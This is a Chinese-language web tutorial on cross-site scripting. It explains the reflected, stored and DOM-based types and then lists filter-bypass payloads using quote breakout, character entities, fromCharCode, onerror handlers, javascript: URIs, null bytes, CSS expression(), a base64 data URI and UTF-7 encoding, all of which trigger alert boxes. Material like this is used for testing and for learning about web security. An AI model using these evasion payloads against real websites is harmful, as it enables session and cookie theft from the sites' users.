XSS

Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的。它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类 
 
XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的) 
 
非持久性:非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。举个例子,就比如某个网页上的搜索引擎,如果攻击者搜索的字 符串包含了一些 html 标签,通常来说,搜索的结果就会以该形式显示出来,或者,至少,搜索的字符串 会包含在页面里。而这个我们是可以修改的,如果任何搜索的字符串都没有被 html 编码,XSS 漏洞就产 生了。 
 
持久性 XSS:也叫做存储型 XSS,或是二次漏洞,他能够导致更加有效的攻击。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,那么每一个访问该页面的用户都会被攻击,典型的例子就是在线留言板, 它允许用户提交数据。 
 
基于 DOM 的 XSS:也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,那么 XSS 漏洞产生,和非持久的类似,攻击者可以用恶 意代码填充这个参数,然后覆写的页面诱骗用户点击,然后就会被浏览器解析成 html,包含了恶意的脚本 代码。

发现 XSS漏洞

最常用的 XSS 漏洞测试代码:: 
<script>alert("XSS")</script> 
 
当这个代码被注入到输入框或是 url 参数的时候,会成功也可能会失败,如果失败了。也不意味着网站就 是安全的。需要继续渗透。

XSS绕过过滤

转义字符串

第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,如果你发现了。你就会发 现很有意思。要细心。看到了把。是在一个输入(INput)标签里。 
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'> 
 
在这个例子,我们可以修改我们的输入来包含两个字符,来让代码跳出那对外围的单引号, 
'><SCRIPT>alert("XSS")</SCRIPT> 
 
现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面 上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代 码。 
'><SCRIPT>alert("XSS")</SCRIPT><xss a=' 
 
所有的输入就会变成这样: 
<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''> 
 
Ok 了。Javascript 代码就注入了。<xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准, 页面不会出错。

绕过单引号过滤

同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通 过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样: 
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'> 
 
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html 的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于, 因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。 
" &quot; " 双引号 
& &amp; & &符号 
< &lt; < 小于号 
> &gt; > 大于号 
 
使用&quot;或者" 来代替我们的双引号,有时候可以绕过过滤。 例子: 
<script>alert("XSS")</script> <script>alert(&quot;XSS&quot;)</script> <script>alert(&XSS&)</script> 
 
如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode 值转换成字符串。 
比如: 
<script>alert("XSS")</script> <script>alert(String.fromCharCode(88,83,83))</script> 
<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'> 
 
你可以使用 Mysql 数据库的 char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。 转码的工具还是很多的。

绕过 <SCRIPT> 过滤

有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我 们看看事件处理器的例子。 
<BODY onload="alert('XSS')"> 
 
在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是 有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不 过我们可以继续看看 onerror 事件处理。 
<IMG SRC="" onerror="alert('XSS')"> 
 
注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script> 标签哦。

使用 IMG 源

Html 中最常用的两个标签 img 和 a href 一般是不会过滤的,一个指定图片,一个指定超链接。最危险的 事 img 标签。 
下面是一些例子: 
标准的样子: 
<IMG SRC="javascript:alert('XSS');"> 
 
没有双引号和分号: 
<IMG SRC=javascript:alert('XSS')> 
 
过滤了双引号和<script>: 
<IMG SRC=javascript:alert(&quot;XSS&quot;)> 
 
使用 CharCode 绕过过滤: 
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 
 
有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码: 
<IMG 
SRC=javascript:al&#10 1; rt('XSS')> 
 
使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。 
<IMG 
SRC=javascript:a&#x6C ;& #x65;rt('XSS')>

使用制表符, 换行符和回车符

这些符号都是可以用来欺骗过滤器的。 
<IMG SRC="jav&#x9ascript:alert('XSS');"> 
上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变 
<IMG SRC="javascript:alert('XSS');"> 
 

使用空字符

另一个可以绕过的就是空字符,这是最有效的工具了。。 
下面这个就是个例子。: 
<SCR%00IPT>alert("XSS")</SCRIPT> 
 
空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以。

双引号配对的 bug

绕过这种过滤就是寻找闭合的标签,然后构造来突破 
比如: 
<IMG """><SCRIPT>alert('XSS')</SCRIPT>"> 
通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事 实不是这样,所有的浏览器都在试图修正这一问题。 
结果最终如下: 
<img><script>alert('xss')</script>"&gt;

绕过 CSS过滤器

HTML 标签用来插入 javaScript 很有用,但是 CSS 也是可以的哦。有很多方式向 CSS 里插入 XSS,所 有更多的方法可以攻击,嘴尖的方法是吧 XSS 代码放到 LINK 方式引用的 CSS 的 href 属性里面去 
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 
 
Ie7 已经不允许了。但是 opera 和 ie6 还是可以的。。 
另一个方式是使用<STYLE>标签,不是很常见,一般是论坛啊。允许用户设计自己的贴的源代码的时候。 
<STYLE> a { width: expression(alert('XSS')) } </STYLE>  
还有一种方式 
<DIV STYLE="width: expression(alert('XSS'));">

不全面的过滤器

我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令 (我前段时间还看到了。现在忘了这个准确的翻译了)里插入代码。我们通过 base64 加密 <script>alert(‘XSS’)</script>. 
 
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 K"> 
数据指令允许我们把完全的文档变成一个单一的字符串。在火狐等浏览器都可以用。尼玛没说具体的用法。

使用双引号

如果你需要使用双引号和单引号。使用一些诡异的用法把。。 
<IMG SRC=`javascript:alert("Look its, 'XSS'")`>

转义字符

转义字符有时候很有用,可以对付一些简单的过滤器 <IMG SRC=`javascript:alert(\"XSS\")`> 
结果如下: 
<IMG SRC=`javascript:alert(\\"XSS\\")`>

编码

使用 utf-7 编码可以绕过 
比如 
<script>alert("XSS")</script> 
使用 UTF-7 编码后: 
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4- 
然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符 
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4- 
一个列表:

XSS 绕过技术的更多相关文章

  1. Web安全--XSS现代WAF规则探测及绕过技术

    XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...

  2. XSS绕过<>进行测试

    大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<.>.’.”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的. 首先看一个 ...

  3. Linux_x86下NX与ASLR绕过技术

    本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析. 本文使用存在漏洞代码如下: /* filename : sof.c */ #incl ...

  4. SafeSEH原理及绕过技术浅析

    SafeSEH原理及绕过技术浅析 作者:magictong 时间:2012年3月16日星期五 摘要:主要介绍SafeSEH的基本原理和SafeSEH的绕过技术,重点在原理介绍. 关键词:SafeSEH ...

  5. 【奇淫巧技】XSS绕过技巧

    XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...

  6. [转]XSS现代WAF规则探测及绕过技术

    初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...

  7. xss绕过过滤之方法

    很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了.这个 ...

  8. XSS绕过小结

    0x00前言 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射.存储.DOM这三类,至于具体每个 ...

  9. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

随机推荐

  1. Go 1.9 sync.Map揭秘

    Go 1.9 sync.Map揭秘 目录 [−] 有并发问题的map Go 1.9之前的解决方案 sync.Map Load Store Delete Range sync.Map的性能 其它 在Go ...

  2. KVM虚拟化环境准备

    1. 概述2. 环境准备2.1 硬件环境2.2 软件环境2.2.1 YUM安装软件包2.2.2 环境检查2.2.3 启动libvirtd服务2.3 网络环境2.3.1 复制网卡配置文件2.3.2 修改 ...

  3. linux系统日志查看

    系统 日志文件( 可以通过cat 或tail 命令来查看) /var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一/var/log/secure ...

  4. layui导航栏和layui.layui.msg问题

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  5. 一份完整的阿里云 Redis 开发规范,值得收藏!

    来源:yq.aliyun.com/articles/531067 作者:付磊-起扬 本文主要介绍在使用阿里云Redis的开发规范,从下面几个方面进行说明. 键值设计 命令使用 客户端使用 相关工具 通 ...

  6. ab性能测试工具的使用

    一.什么是ab ab,即Apache Benchmark,是一种用于测试Apache超文本传输协议(HTTP)服务器的工具. ab命令会创建很多的并发访问线程,模拟多个访问者同时对某一URL地址进行访 ...

  7. Python:requests:详解超时和重试

    网络请求不可避免会遇上请求超时的情况,在 requests 中,如果不设置你的程序可能会永远失去响应.超时又可分为连接超时和读取超时. 连接超时 连接超时指的是在你的客户端实现到远端机器端口的连接时( ...

  8. 【php性能优化】关于写入文件操作的取舍方案

    对于使用php对文件进行写入操作有两种方案一种使用 file_put_contents() 和 fopen()/fwrite()/fclose() 两种方案至于应该怎么选,我觉得应该分情况选择,下面是 ...

  9. vue-router中元信息meta的妙用

    { path:"/test", name:"test", component:()=>import("@/components/test&quo ...

  10. Oracle数据库知识要点

    一.卸载安装(来自百度经验) 完全卸载: 1. 停止相关服务 2. 运行Universal Installer,卸载产品 3. 清理注册表 4. 重启电脑,删除目录(Oracle文件夹和app文件夹) ...